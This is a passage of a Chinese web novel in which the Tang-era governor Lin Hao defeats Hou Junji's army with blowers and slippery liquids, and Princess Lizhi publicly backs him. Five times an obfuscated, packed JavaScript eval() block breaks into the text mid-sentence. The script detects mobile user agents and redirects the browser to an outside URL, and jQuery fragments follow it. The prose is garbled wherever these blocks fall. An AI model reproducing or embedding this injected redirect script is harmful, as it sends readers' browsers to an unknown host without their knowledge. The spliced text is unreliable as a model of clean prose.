他站起身,拍拍手上的灰尘,语气平淡得就像在讨论今天的天气。
“老马,你知道什么叫效率最大化吗?”
林浩指着远处正在清理战场的工程队,“八万敌军,一个时辰全部解决。没有伤亡,没有损失,连**箭都不用射几根。这就叫现代化战争的优势。”
马**忍着胃里的翻腾,“可是都督,这样做会不会......”
“会不会什么?太不人道?”
林浩打断了他,“那你觉得让他们冲进凉州城,把老百姓的脑袋挂在城墙上示众,就人道了?”
工程队的队长小跑过来,手里拿着一份清点单。
“都督,初步统计出来了。”
队长擦了擦额头的汗,“可回收的铁器大概三千斤,铜器八百斤,还有一些金银饰品。”
“不错。”林浩接过单子,“把金属全部回炉,制作农具和生活用品。这些东西给新归附的牧民用,正好。”
“那这些......”队长指着满地的尸骨。
“用石灰消毒,就地掩埋。”
林浩的话说得极其随意,“记住,石灰要撒厚一点,免得产生瘟疫。这叫战场资源最大化利用和公共卫生安全管理。”
马周的脸色更白了。
在林浩眼里,这八万条人命就像是一堆待处理的垃圾。
就在这时,图鲁带着几个部下快步走了过来。
这个大胡子脸上洋溢着掩饰不住的喜悦。
“都督!好消息!”
图鲁老远就开始汇报,“又有三个小部落听说了一线天的事,主动来投靠了!”
“哦?”林浩来了点兴趣,“多少人?”
“加起来大概两千多人,都是牧民和他们的家眷。”
图鲁搓着手,“他们说草原上已经传开了,说伏允得罪了天神,才遭到天罚。现在好多部落都在观望,估计过不了多久,还会有更多人来投靠。”
林浩点点头,“按老规矩,打散编组。不要让他们聚居,分散到各个生产小队里去。原来的部落首领可以给个小组长当当,但绝对不能有独立的武装力量。”
“明白!”图鲁拍着胸脯保证,“保证让他们老老实实种地放羊!”
林浩正要说话,远处传来一阵嘈杂声。
李丽质带着她的医疗队从山谷外走了过来,身后跟着一大群穿着破旧皮袄的牧民。
这些新投靠的牧民脸上都带着敬畏和感激的神色,不少人手里还拿着用草编成的小人偶,嘴里念念有词。
“活菩萨!活菩萨来了!”一个老牧民激动地跪了下来,其他人也纷纷效仿。
李丽质有些不好意思,连忙上前扶起那个老人,“大爷,快起来快起来,我只是个大夫。”
“不不不!”老牧民眼中含泪,“我家的牛犊昨天还病得快**,您一针下去,今天就活蹦乱跳的!您就是草原派来救我们的活菩萨啊!”
围观的牧民们纷纷附和,场面一度极其热闹。
林浩走过去,看着李丽质被一群人围着的样子,忍不住笑了,“看来公主殿下的牛瘟疫苗计划很成功嘛。”
“别开玩笑了。”李丽质红着脸,将林浩拉到一边,“我有话跟你说。”
两人走到相对安静的地方,李丽质的脸色突然严肃起来。
“林浩,你刚才在山谷里做的那些事,我觉得......”
“觉得太残忍?”林浩直接说出了她的心里话,“觉得我应该留他们一条活路?”
李丽质咬了咬嘴唇,“他们毕竟也是人,有家有室的。就算是敌人,也不应该用这么......”
“这么什么?惨无人道的手段?”林浩的语气依然很平静,“那你告诉我,什么叫人道?”
他指着不远处正在接受治疗的牧民,“让他们继续被这些有家有室的敌人劫掠?让我们的工匠被砍掉脑袋
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16391622|184258||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
?让凉州城变成一片废墟?”
“可是......”
“没有可是。”
林浩打断了她,“公主,你要明白一个道理。对敌人的仁慈,就是对自己的残忍。”
“你看到的是八万个**,我看到的是八万个不会再杀戮我们百姓的敌人。长痛不如短痛,一战打垮他们的战争潜力,才能换来长久的和平。”
“那些投靠我们的牧民,他们的孩子可以读书认字,可以学习技术,可以过上不用担心饿死冻死的生活。这难道不比让他们在战争中当炮灰要好?”
李丽质沉默了很久,最终轻轻叹了口气,“我知道你说得对,可是我就是觉得......”
“觉得心里不舒服?”
林浩笑了笑,“这很正常。如果连你这样善良的人都能对杀戮无动于衷,那我才要担心这个世界变成什么样子。”
他拍了拍李丽质的肩膀,“你继续做你的救世主,我来做恶人。这样分工挺好的。”
李丽质抬起头看着他,眼中有着复杂的情绪。
与此同时,距离凉州城还有三十里的一处小丘上,一队身穿黑色盔甲的骑兵正在休息。
领头的斥候队长拿着水囊喝了一口,随意地踢了踢脚边一个蓬头垢面的俘虏。
“喂,蛮子,再说一遍,你们是怎么败的?”
那个俘虏是从一线天山谷逃出来的吐谷浑散兵,此时正蜷缩在地上,浑身颤抖。
“火海......全是火海......”
俘虏的眼神涣散,嘴里不断重复着,“魔鬼......他是魔鬼......天上下火雨......”
“哈哈哈!”
斥候队长笑得前仰后合,“你们这些蛮子,打了败仗就开始编神话故事了?什么火雨,什么魔鬼,真当我们是三岁小孩?”
其他几个斥候也跟着笑起来,“队长,这蛮子是不是被吓疯了?”
“肯定是。”
斥候队长站起身,远远望着凉州城的方向,“估计是林浩那小子用了点火攻,这些没见过世面的蛮子就以为见鬼了。”
“区区边城,一日可下。侯将军带着三万玄甲军,还怕他一个乳臭未干的小子不成?”
第55章:长安来人?来者不善!
凉州科学院内,午后的阳光斜射进宽敞的会议室。
林浩半靠在椅背上,面前的桌案摆满了各种图纸和数据报表。
工程队长、冶炼组组长、建筑组组长等十几个负责人围坐一圈,正在进行每月例行的生产总结会议。
“水泥产量这个月达到了八千斤,比上月增长了两成。”建筑组组长擦了擦额头的汗,“主要是石灰窑的改进见效了,燃烧效率提高不少。”
林浩点点头,翻了翻手中的报表。“钢铁呢?”
“这个月出了点小问题。”
冶炼组组长有些不好意思,“高炉的耐火砖烧坏了几块,产量只有六千五百斤,比计划少了五百斤。”
“正常损耗。”
林浩并不在意,“下个月补上就行。重点是民用化转型的问题。”
他站起身,走到墙边的大地图前。
地图上密密麻麻标注着各种符号,红色的代表工坊,蓝色的代表居住区,绿色的代表农田和牧场。
“现在投靠我们的牧民越来越多,光是这个月就来了五千多人。”
林浩指着地图上几个新标注的居住点,“住房问题已经到了必须解决的地步。”
马周在一旁补充道:“城外的帐篷区已经扩大到第三圈了,再这样下去,冬天一到,冻**是小事,闹出瘟疫才是**烦。”
“所以接下来的重点,是修建更多的居民楼。”林浩在地图上画了几个圈,“这里、这里、还有这里,都要建成标准化的住宅小区。每个小区配套水井、公共澡堂和小学堂。”
工程队长算了算,“都督,按您这个规划,至少需要五万斤水泥,两万斤钢材。现在的产量根本跟不上。”
“那就扩大产能。”林浩回到座位上,“再建两座石灰窑,一座高炉。人手不够就从新来的牧民里挑选年轻力壮的培训。”
众人正讨论得热烈,会议室的门突然被推开。
一名负责外围警戒的护卫队员匆匆闯了进来,脸上带着明显的紧张。
“都督!有紧急情况!”
林浩皱了皱眉。
按规矩,开会期间除非天塌下来,否则不许打扰。
“什么事?”
护卫队员喘了几口气,“东面驿站那边,信鸽传递的频率不对劲。平时一天最多三四只,今天已经飞了十几只。而且……”
“而且有不明身份的人在监视驿站。我们的暗哨发现,至少有两队人马在附近转悠,看装扮不像是吐谷浑的探子。”
林浩的表情瞬间严肃起来。
驿站是官方通讯枢纽,信鸽频率异常只能说明一件事——长安那边出事了。
“会议暂停。”
林浩站起身,对众人挥了挥手,“各位先回去,按原计划执行。有什么问题明天再说。”
等其他人都离开后,林浩对护卫队员说道:“立刻启动一级信息管制预案。所有与长安的官方通讯,必须先送到我这里。”
“明白!”
“还有,让图鲁派几个最机灵的牧民,化装成猎人,去东面仔细侦查。我要知道到底来了多少‘客人’,什么来头。”
护卫队员领命而去。
林浩坐回椅子上,手指在桌面上有节奏地敲击着。
马周看出了他的担忧:“都督,您觉得是……”
“八成是长安的人。”
林浩的语气很平静,但马周能感觉到其中的凝重,“问题是,他们来做什么。如果是正常的公务,直接派个使者就行了。搞这种监视,明显不是好事。”
就在这时,李丽质从外面走了进来。
她刚从牧民聚居区回来,脸上还带着刚才分发药品时的喜悦。
“林浩,今天又有三个部落的首领要求……”
话说到一半,她注意到了房间里的气氛。“怎么了?出什么事了?”
林浩看了看她,“可能有长安的人来了。”
李丽质先是一愣,随即脸上露出了惊喜的表情。
“父皇派人来了?太好了!我正想着怎么跟父皇汇报这边的情况呢!”
她转身就要往外走,“我去准备一下,写封信让信鸽带回去……”
“等等。”
林浩叫住了她,“在情况没搞清楚之前,暂时不要跟外界联系。”
李丽质停下脚步,回头看着他。“什么意思?”
“字面意思。”
林浩的语气很平静,“包括你的皇家信鸽,暂时也不能使用。”
李丽质的笑容僵在了脸上。
她第一次从林浩的话里听出了一种不容置疑的坚决。
“你是在软禁我?”
“我是在保护你。”
林浩站起身,走到她面前,“公主,你要明白,如果长安真的派人来了,而且用的是这种偷偷摸摸的方式,那说明情况很复杂。在搞清楚状况之
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16391623|184258||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
前,任何与外界的联系都可能带来危险。”
“包括你。”
李丽质感到了一种前所未有的委屈和愤怒。
她在凉州这么久,一直觉得自己和林浩是合作伙伴,是朋友。
可现在,她却发现自己在他眼里,也只是一个需要“管理”的风险因素。
“林浩,你过分了。”
她的声音有些颤抖,“我是大唐公主,不是你的属下。你没有权利限制我的自由。”
林浩看着她,心中也不好受。
但作为项目负责人,他必须把风险控制放在第一位。
“公主,我知道这样做让你很不舒服。但是……”
“但是什么?”李丽质打断了他,“但是在你的计划里,我也只是一颗棋子?一个可以利用的工具?”
两人就这样对视着,房间里的气氛降到了冰点。马周在一旁大气都不敢出。
就在这时,门外又传来了急促的脚步声。图鲁带着两个满身泥土的牧民快步走了进来。
“都督!紧急情报!”
图鲁的脸色异常凝重,“派出去的兄弟回来了,带回了不得了的消息。”
林浩立刻转过身,“说。”
其中一个牧民用生硬的汉话汇报道:“大军!很大很大的军队!从东边来!旗子上写着‘侯’字!铠甲很亮,马很壮,至少……至少三万人!”
马周倒吸了一口冷气,“侯?是平卢郡公侯君集!他可是陛下的心腹大将啊!”
林浩的心瞬间沉到了谷底。
他立刻把这支军队与之前的信息管制联系起来,一个可怕的结论在脑海中形成。
这支军队不是来增援的,是来问罪的!
但为什么?
自己明明为大唐立下了汗马功劳,平定了吐谷浑,还送来了这么多技术创新。李世民为什么要派兵来抓自己?
来不及多想,林浩快步走到地图前,找到了一个叫“白狼口”的地方。
那是一个狭窄的隘口,是从东面进入凉州腹地的必经之路。
“马大人。”林浩的声音变得冰冷,“拟一份告示。就说凉州为防吐谷浑残部反扑,即日起全境**,所有道路暂时封闭。”
马周愣了一下,“都督,这……”
“照办。”林浩看着地图上的白狼口,对护卫队长下令:“启动‘欢迎’程序,让我们好好招待一下来自长安的贵客。”
第56章:长孙无忌的如意算盘
距离凉州城东面八十里的官道上,三万玄甲军如黑色钢铁洪流般缓缓推进。
侯君集骑着高头大马走在队伍最前方,明光铠在阳光下闪闪发光。
作为凌烟阁二十四功臣之一,他征战半生,从未尝过败绩。
这次奉旨平定林浩,在他看来不过是杀鸡用牛刀。
“将军!”副将策马赶上,“前方五里就是白狼口了。”
侯君集勒住缰绳,扫视着周围的地形。
两侧山峦起伏,中间一条狭窄的通道直通凉州腹地。
“传令下去,全军休整一刻钟。”侯君集跳下马背,“本将有话要说。”
号角声响起,三万大军整齐列阵。
黑压压的军队如乌云压顶,杀气腾腾。
侯君集走到队列前方,朗声道:“将士们!此次西征,我们面对的不是什么强敌,而是一个会些奇技淫巧的竖子!”
将士们发出轻蔑的哄笑声。
“林浩那厮,不过是仗着几样小聪明,在边疆作威作福。真以为自己是什么了不起的人物?”
侯君集的声音越来越响亮,“告诉你们,这种人本将见多了!当年王世充、窦建德哪个不是自以为是?最后还不是死在我们刀下!”
“杀!杀!杀!”
将士们齐声怒吼。
侯君集满意地点点头,“此行为国除害,三日内必破凉州!到时候人人有赏!”
队伍重新上路,很快就抵达了白狼口外。
负责开路的斥候队长策马奔回,脸上带着奇怪的表情。
“将军,前面的情况有些……特殊。”
“什么特殊?”侯君集皱起眉头。
“您还是亲自去看看吧。”
一行人快马加鞭赶到白狼口,眼前的景象让所有人都愣住了。
整个隘口被巨大的石块和铁栅栏彻底封死,就像一堵坚固的城墙横在那里。
更离谱的是,在石墙上方居然挂着一条巨大的红色横幅。
横幅上用工整的楷书写着:“热烈欢迎长安玄甲军将士莅临凉州指导工作!”
下面还有一行小字:“凉州人民和林都督向您们致以诚挚的问候!”
“这……”副将张大了嘴巴,“这是在羞辱我们吗?”
侯君集的脸色瞬间铁青。
他纵横沙场这么多年,还从没遇到过这种情况。
敌人不但知道他们要来,还专门准备了这么一个“欢迎仪式”。
“狂妄!狂妄至极!”侯君集咬牙切齿,“林浩这个竖子,竟敢如此戏弄本将!”
就在这时,帅帐内传来长孙无忌的声音。
“侯将军,何必动怒?”长孙无忌掀开帐帘走了出来,脸上带着阴沉的笑容,“一个死到临头的人,让他蹦跶几下又何妨?”
他走到侯君集身边,压低了声音:“将军,此行的关键不是杀林浩,而是完整地接收他的工坊和技术。那些东西,可都是无价之宝啊。”
侯君集冷哼一声,“长孙大人放心,本将自有分寸。”
他转身对工程营的校尉大吼:“给我把这些破石头全部炸开!一块都不许剩!”
“是!”
与此同时,凉州城内,都督府会议室。
马周匆匆跑进来,脸上满是汗水。
“都督!玄甲军已经到了白狼口!侯君集正在组织工程营清理路障!”
林浩坐在椅子上,慢悠悠地喝着茶。
“预料之中。工程进度如何?”
“按您的要求,路障内部全部用钢筋混凝土浇筑,外面只是普通石头做掩护。他们要想炸开,至少需要三天时间。”
“不错。”林浩放下茶杯,“其他准备工作呢?”
马周翻开手中的册子:“‘天降正义’陶罐已经准备了五百个,三联装**炮也调试完毕。只要您一声令下……”
“等等。”林浩摆摆手,“谁说要用那些东西了?”
马周一愣,“可是都督,侯君集带来的可是三万精锐啊!”
“正因为是自己人,所以不能下**。”
林浩站起身,走到窗边,“老马,你听说过非致命性区域拒止系统吗?”
马周摇摇头。
“简单来说,就是让敌人失去战斗意愿,但不伤害他们的生命。”
林浩转过身,“侯将军马上就要体验一下什么叫科技的温柔了。”
正说着,门外传来争吵声。
“放开我!我要出去!”
“公主,都督有令,任何人不得离开府邸。”
“你们敢软禁我?我是大唐公主!”
林浩叹了口气,对马周说:“你先去忙吧。记住,按计划执行。”
马周离开后,林浩打开门,看到李丽质正在和两名护卫争执。
“怎么了?”
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16391624|184258||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
李丽质转过身,脸上带着愤怒和委屈:“你的人不让我出去!我要去阵前跟侯将军说清楚,他为什么不经宣召就带兵入境!”
林浩摆摆手,护卫们退下。
“公主,你觉得侯君集是来做什么的?”
“当然是来增援的!父皇派他来支援我们平定吐谷浑!”李丽质理所当然地说。
林浩看着她,眼中闪过一丝怜悯。
“公主,这支军队是奉旨来抓我的,甚至可能是来杀我的。”
李丽质的表情凝固了:“你……你说什么?”
“字面意思。”
林浩的语气很平静,“长孙无忌已经说服了你父皇,认为我是个危险人物,必须铲除。”
“不可能!”李丽质连连摇头,“父皇怎么会……你为大唐立下了那么多功劳,怎么可能……”
“因为功劳太大了,所以才危险。”林浩打断了她,“功高震主,这个道理你应该懂。”
李丽质脸色惨白,身体微微颤抖。
她第一次对长安的判断产生了巨大动摇。
“如果你现在出去,最好的结果是被长孙无忌当成人质,最坏的结果是被当成我的同党一起处理。”林浩继续说道,“你觉得哪种更好?”
就在两人说话的时候,白狼口传来了**声。
侯君集的工程营正在用**炸石头,但效果出乎意料的差。
那些看起来普通的石块,内部竟然坚硬得像钢铁一样。
“怎么回事?”侯君集怒气冲冲地质问工程校尉。
“将军,这些石头不对劲!里面好像有钢筋!”
校尉满头大汗,“按这个进度,至少要三天才能打通!”
“三天?本将等得起吗?”侯君集一巴掌拍在校尉头上,“给我想办法!”
正当他暴跳如雷的时候,一名斥候飞马奔来。
“将军!紧急情报!”
“说!”
“我们在白狼口两侧的山壁上发现了奇怪的东西!”
斥候指着远处的山坡,“那里有很多巨大的……铁家伙,全都对准了隘口!”
侯君集举起望远镜,仔细观察山壁。
果然,在半山腰的岩石缝隙间,隐隐约约能看到一些黑洞洞的圆形物体。
“那是什么?”副将也看到了。
侯君集放下望远镜,心中涌起一股不安。
第57章:大喇叭响了,长孙无忌破大防
“将军,那些到底是什么东西?”副将压低声音询问。
侯君集正要答话,突然半山腰传来一阵清脆的金属撞击声,紧接着,数十个巨大的铜制喇叭状物体从伪装中露了出来。
“这……这是什么妖术?”工程营的校尉指着那些铜制大喇叭,满脸震惊。
每个铜喇叭都有半人高,通体呈螺旋状,在阳光下闪着冰冷的光泽。
最诡异的是,这些大喇叭全都对准了隘口,就像一排巨大的眼睛在俯视着他们。
帐篷里,长孙无忌掀开帐帘,看了一眼那些奇形怪状的铜制器械。
“雕虫小技。”长孙无忌冷笑一声,“不过是些唬人的玩意罢了。林浩那小子,就靠这些奇技淫巧装神弄鬼。”
侯君集虽然嘴上不说,心里却越来越不安。
他征战半生,从未见过这样的东西。
更让他担心的是,林浩能在这么短时间内布置如此精密的防御,绝对不是偶然。
“长孙大人,您说该怎么办?”侯君集转身询问。
长孙无忌眯着眼睛,心中已有定计。
“林浩此举,无非是想拖延时间。既然他不肯出来,咱们就逼他出来。”
“怎么逼?”
“用长乐公主。”
长孙无忌嘴角露出阴冷的笑容,“传本相命令,让使者高举圣旨,到白狼口前喊话。”
一刻钟后,一名身穿黄袍的宫廷使者策马来到白狼口前。
他手中高举着一卷明黄色圣旨,清了清嗓子,开始大声宣读。
“朕闻凉州都督林浩,心怀不轨,意图谋逆!即日起革除一切职务,着其速速自缚出关,听候发落!”
“长乐公主李丽质,身为皇室成员,却与逆贼林浩同流合污!现限其一个时辰内出关表明立场,若再与林浩为伍,将视为同党,一并治罪!”
这番话通过山谷的回音,清楚地传到了每个人的耳中。
三万玄甲军听到这番话,士气顿时一振。
他们本来还对这次征讨心存疑虑,毕竟林浩在军中也有不少支持者。
但现在有了圣旨,一切都名正言顺了。
侯君集满意地点点头,“长孙大人此计甚妙。一旦长乐公主出面,无论她说什么,凉州的军心都会动摇。”
长孙无忌抚须而笑,“林浩这次插翅难飞了。”
与此同时,凉州城内。
马周匆匆冲进都督府,脸色煞白。
“都督!大事不好!”
马周气喘吁吁,“长孙无忌派使者在白狼口宣读圣旨,说您谋逆,还要公主表态!”
正在研究地图的林浩抬起头,“哦?说了什么?”
马周一字不漏地复述了使者的话。
听完之后,林浩轻笑一声。
“还真是长孙无忌的风格。”
林浩放下手中的羊毫笔,“明明是来抢我东西的,却偏要给我按个谋逆的帽子。”
马周急得直跺脚,“都督,这可是诛心之计啊!公主现在进退两难,无论她怎么选择,咱们都完了!”
“完了?”林浩站起身,走到窗边,“老马,你太小看咱们的公主了。”
就在这时,李丽质推门走了进来。
“都督,我都听说了。”李丽质平静说道,“长孙无忌要我表态是吧?”
马周看着公主,心都提到了嗓子眼。
现在公主的选择,决定着整个凉州的命运。
“公主……”
马周刚要说话,被林浩制止了。
“公主,你现在可以自由选择。”
林浩转过身,“我不会阻止你,也不会怪你。毕竟血浓于水,皇恩如山。”
“你就不怕我真的走了?”李丽质问道。
“怕。”林浩很诚实地回答,“但我更怕你因为我而痛苦一辈子。”
李丽质沉默了很久。
她想起了刚到凉州时的种种,想起了那些因为牛瘟疫苗而获救的牛犊,想起了牧民们感激的眼神,想起了那三条昂扬向上的曲线。
“都督,能借你的大喇叭用一下吗?”李丽质突然开口。
林浩一愣,“你要做什么?”
“表态。”李丽质的嘴角露出一丝笑容,“既然长孙大人这么想听我表态,那我就满足他。”
半个时辰后,凉州城头。
李丽质换上了一袭华贵的紫色宫装,头戴凤冠,端庄地站在城楼上。
她身后是林浩亲自设计的扩音装置——数十个精密制作的铜质大喇叭,通过巧妙的机械结构连接在一起。
城内的百姓和归附的牧民听到消息,纷纷**在城楼下。
黑压压的人群望着城头的公主,满脸期待和忐忑。
李丽质深吸一口气,走到扩音装置前。
“凉州父老乡亲们,我是长乐公主李丽质。”
她的声音通过铜制大喇叭放大,清晰地传遍了整个凉州城,“今日,我有话要对大家说。”
人群瞬间安静下来
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16391625|184258||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,所有人都竖起耳朵。
“三年前,我初到凉州,这里还是一片荒芜。牧民们食不果腹,牲畜死于瘟疫,百姓生活在水深火热之中。”
李丽质的声音带着淡淡的哽咽,“但如今的凉州,发生了天翻地覆的变化。”
“曲辕犁让土地更加肥沃,水泥路让出行更加便利,牛瘟疫苗挽救了无数牲畜,先进的冶炼技术让我们有了更好的工具。”
“而这一切的功劳,都是林都督的。”
“现在有人说,林都督谋逆。”
李丽质的声音突然提高,“我想问问大家,教百姓富足,是谋逆吗?救牲畜于水火,是谋逆吗?让孩子有书读,让老人有所养,这也是谋逆吗?”
“不是!”人群中爆发出震天的呐喊声。
“林大人是好人!”
“林大人救了我们全家!”
“谁敢动林大人,我们跟他拼命!”
李丽质看着台下激动的百姓,眼中闪过坚定的光芒。
“为国富民,为民续命,若此为罪,天下何为功?”
她的声音传遍了整个凉州城,“我,大唐长乐公主李丽质,愿与凉州万民一道,为林都督作保!”
轰——
整个凉州城瞬间沸腾了。
百姓们高举双手,大声呼喊:“公主英明!”
“林大人无罪!”
“凉州万岁!”
声浪一波高过一波,震得城墙都在颤抖。
与此同时,白狼口前。
长孙无忌派出的探子飞马赶回,气喘吁吁地汇报:“大人,长乐公主……长乐公主在城头发表了讲话!”
“说了什么?”长孙无忌急忙询问。
探子一字不漏地复述了李丽质的话。
听完之后,长孙无忌的脸色铁青,浑身颤抖。
“她竟然……竟然公然站在林浩那边!”
长孙无忌咬牙切齿,“这个不知天高地厚的丫头!”
侯君集也傻眼了。
他本以为长乐公主会乖乖服从圣旨,没想到她居然公开力挺林浩。
“长孙大人,现在怎么办?”侯君集询问道。
长孙无忌在帐中踱来踱去,脸色阴沉如水。
良久,他停下脚步,眼中闪过一丝狠毒的光芒。
“既然她不识抬举,那就别怪本相心狠手辣了。”
长孙无忌咬牙道,“传令侯将军,一个时辰后,若林浩不自缚出关,立刻发起总攻!踏平白狼口,生死不论!”
第58章:说好血战,你居然不讲武德
上午时分,白狼口前。
“传令!”侯君集拔出佩剑,剑尖直指隘口,“全军突击!”
号角声响彻山谷,三万玄甲军精锐瞬间开始行动。
最前方的五百名重甲步兵举起巨大的铁盾,排成整齐的龟甲阵。
他们身后,工兵营的弟兄们扛着撞城锤、攻城器械,准备强行破除隘口的铁栅栏。
“冲!为了陛下!为了大唐!”
震天的呐喊声中,黑色的军阵如钢铁洪流般涌向白狼口。
铁靴踏在石头上的声音连成一片,就像打雷一样。
与此同时,凉州城后方的指挥中心内。
林浩坐在一把木制转椅上,面前是一个类似潜望镜的古怪装置。
这东西由十几片铜制镜片和精密的机械结构组成,能够实时观察隘口的情况。
“都督,敌军开始突击了!”马周紧张地盯着另一个观察装置,额头上冒出细密的汗珠。
林浩慢悠悠地调整着潜望镜的角度,看着那些气势汹汹的玄甲军,就像在观赏什么有趣的表演。
“啧啧,龟甲阵啊。”林浩轻敲着扶手,“还挺正规的。可惜,时代变了。”
他转过头,对身边的工程师说道:“一号方案,起风了,启动。”
工程师立刻跑向一个满是杠杆和转盘的操控台。
他用力拉下其中一个杠杆,整个指挥中心都传来了机械转动的声音。
隘口两侧的山壁上,那些被误认为是大喇叭的巨型装置开始缓缓转动。
其实那根本不是什么喇叭,而是林浩根据现代工业鼓风机原理设计的超大号离心式风机。
每台风机都由电机、叶轮、蜗壳、进气箱、进风口,扩压器、导风圈,轴及轴承等部件组成,只不过动力来源改成了水车驱动的机械传动系统。
数十台巨型鼓风机同时启动,发出低沉的轰鸣声。
白狼口内,正在冲锋的玄甲军突然感觉不对劲。
“怎么……怎么起风了?”一名重甲步兵疑惑地抬起头。
话音未落,狂风骤起!
十二级以上的强风瞬间在狭窄的隘口内形成,飞沙走石劈头盖脸地砸来。
原本整齐的龟甲阵瞬间被吹散,巨盾在强风面前就像纸片一样轻飘飘地飞了起来。
“我的天!这是什么妖术!”
“站不住!站不住啊!”
“救命!我要被吹走了!”
士兵们被强风吹得东倒西歪,根本无法睁开眼睛。
更要命的是,风中夹带着大量沙尘,打在脸上生疼。
侯君集在后方看得目瞪口呆。
他戎马一生,见过刀光剑影,见过血流成河,就是没见过用“风”来打仗的。
“这……这到底是什么鬼东西?”侯君集指着那些正在高速旋转的巨型装置,声音都有些颤抖。
长孙无忌的脸色更是难看,“奇技淫巧!定是奇技淫巧!”
看到第一波攻势被彻底瓦解,侯君集怒火中烧。
他转身对身后的弓箭手大吼:“射箭!给我把那些该死的铁疙瘩全部射烂!”
五千名弓箭手立刻搭弓上箭,箭如雨下地射向山壁上的鼓风机。
然而,负责箭矢供应的百夫长张三早就悄悄把锋利的箭头换成了训练用的钝头箭。
这些钝头箭打在钢铁外壳的鼓风机上,除了发出“当当当”的脆响外,屁用都没有。
“怎么回事?为什么射不烂?”侯君集急得跳脚。
张三装作很着急的样子:“将军,那些铁疙瘩太坚固了!咱们的箭根本射不透!”
就在玄甲军束手无策的时候,林浩在指挥中心内又下达了新的指令。
“一号方案效果不错。”林浩满意地点点头,“启动二号方案,‘天降甘霖’。”
工程师立刻拉下第二个杠杆。
隘口上方早就预埋好的管道系统开始工作,大量粘稠顺滑的液体从天而降。
这些液体是肥皂水和工业润滑油的完美混合物,不但润滑效果极佳,还有很强的附着力。
“下雨了?”一名刚刚在强风中站稳身形的士兵抬头看了看天空。
下一秒,他脚下一滑,直接摔了个四脚朝天。
紧接着,整个隘口内就像下饺子一样,到处都是摔倒的士兵。
地面变得湿滑无比,穿着沉重铠甲的玄甲军根本无法保持平衡。
“哎呦!”
“我靠,这地怎么这么滑!”
“快拉我一把!”
“别拉
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16391626|184258||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
我,我自己都站不住!”
成片成片的精锐士兵在地上滑倒、碰撞、堆成一团,盔甲撞击声响成一片。
场面既混乱又滑稽,完全没有半点军队的威严。
侯君集和长孙无忌看着自己的精锐之师变成这副德行,两人的脸都变成了猪肝色。
“这……这还打什么仗?”副将结结巴巴地问道。
李丽质和马周在指挥中心通过潜望镜看到这一幕,震惊得张大了嘴巴。
马**忍着笑意,肩膀不停地抖动:“都督,您这招也太……太损了吧?”
李丽质捂着嘴,眼中满是敬佩:“我还以为要血流成河,没想到……居然一个人都没伤到?”
林浩无视了众人的反应,拿起一个话筒。
这个话筒连接着隘口的扩音系统,能够将声音清晰地传递到整个山谷。
“咳咳,测试,测试。”
林浩清了清嗓子,用一种极其诚恳的语气开始广播。
“各位玄甲军的将士们,大家好。我是凉州都督林浩。”
“首先,向大家表示诚挚的慰问。雨天路滑,请注意安全。”
“根据我方气象部门预测,隘口内的强风天气还将持续三个时辰,湿滑路面预计明日才能恢复。”
侯君集听到这番话,差点没气得背过气去。
“另外,我方已经为大家准备了热姜汤和干净毛巾,请各位将士有序排队领取。”
林浩继续说道,“如果有摔伤的兄弟,我们的医疗队随时待命,免费治疗。”
“最后,特别提醒一下长孙大人和侯将军,隘口内路面湿滑,建议您二位暂时不要进入,以免发生意外。毕竟您二位都上了年纪,万一摔坏了腰,可就麻烦了。”
